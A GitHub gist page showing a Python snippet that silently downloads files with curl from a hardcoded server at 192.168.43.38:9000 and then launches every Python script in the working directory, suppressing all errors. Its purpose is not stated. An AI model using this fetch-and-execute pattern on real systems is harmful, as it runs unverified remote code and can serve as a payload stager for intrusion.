Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Last active July 7, 2020 16:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NimishMishra/8fab4184004018d75de74c30854f0efa to your computer and use it in GitHub Desktop.
Save NimishMishra/8fab4184004018d75de74c30854f0efa to your computer and use it in GitHub Desktop.
def run_scripts():
current_dir = os.getcwd()
for filename in os.listdir(current_dir):
if(filename != "setup_server.py" and filename != "downloader.py"):
try:
dot_index = filename.index(".")
extension = filename[dot_index + 1:]
if(extension == "py"):
command_list = []
command_list.append("python3")
command_list.append(filename)
subprocess.Popen(command_list)
except Exception:
pass
def download_fetched_files():
global loaded_files
for file in loaded_files:
path = "http://192.168.43.38:9000/" + file
command = "curl -o " + file + " " + path + " --silent"
run_command(command)
loaded_files = []
run_scripts()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment